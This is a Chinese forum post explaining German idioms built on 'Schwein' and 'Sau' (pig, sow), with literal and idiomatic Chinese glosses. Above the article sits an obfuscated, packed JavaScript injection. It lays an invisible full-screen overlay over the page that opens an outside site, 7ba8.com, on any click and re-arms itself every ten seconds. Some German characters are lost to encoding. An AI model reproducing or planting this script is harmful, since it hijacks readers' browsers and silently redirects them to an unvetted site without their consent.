“猪”在德语里的应用

<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>

不知不觉又快要到新一年的春节了!2019的农历年是猪年,而自古以来,动物常成为语言的要角,拿来做成固定的语句,用以表达思想和情感,彼此沟通。今天小艾就和大家谈谈,“猪”在德国和德文中所扮演的角色。

“猪”不论在德语或汉语中都有“脏、笨、胖”的意味。德文“猪”惯用语的语意从很正面到极负面的都有,其中Schweinestall(猪舍)、Du Schwein(你猪啦)、saudumm(笨猪)和汉语不谋而合。这里的saubumm是形容词,可翻译成”笨极了”,和笨猪有异曲同功之妙,而“sau”在这儿是一个加语气词,德文很多动物名称可以用作类似功能的加强语气词。

以下介绍几个常用的“猪”的德文固定用语:
Schwein gehabt (猪有了)= 好运到
Schweinegeld(猪钱)= 很多钱
sich wohl fühlen wie zehntausend S?ue(像一万头猪一样觉得舒服)= 舒服极了
saugut(母猪好)= 真好
Schweinerei(猪一类的事情)= 糟糕的事
So ein Sauerei ! 真糟糕啊!
Kein Schwein(没猪)= 没人
Sauklaue(猪蹄)= 潦草的字迹
Sauwetter(母猪天气)= 坏天气
schwitzen wie ein Schwein (汗流如猪)= 汗流浃背

以下是其他与“猪”相关的固定语式:
Saubillig(母猪便宜):超便宜
Saugrob(母粗俗/粗鲁):很粗俗/粗鲁
Saufra?(母猪粪):很难吃的食物
es pa?t wie der Sau das Halsband(像母猪配颈圈一样):一点都不搭配
unter aller Sau (在所有母猪底下):非常坏的情况
sich suhlen wie eine Sau im Schlamm(像一头母猪一样在泥地上打滚):心情棒透了
besoffen wie ein Schwein(醉饮如猪):烂醉如泥
benimmt sich wie eine gesengte Sau (表现得像被烙印的母猪):完全目中无人的表现
Perlen vor die S?ue werfen(珍珠投到母猪面前):对牛弹琴
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Copyright © 2020-2021 tigtag.com |网站地图  
快速回复 返回列表 返回顶部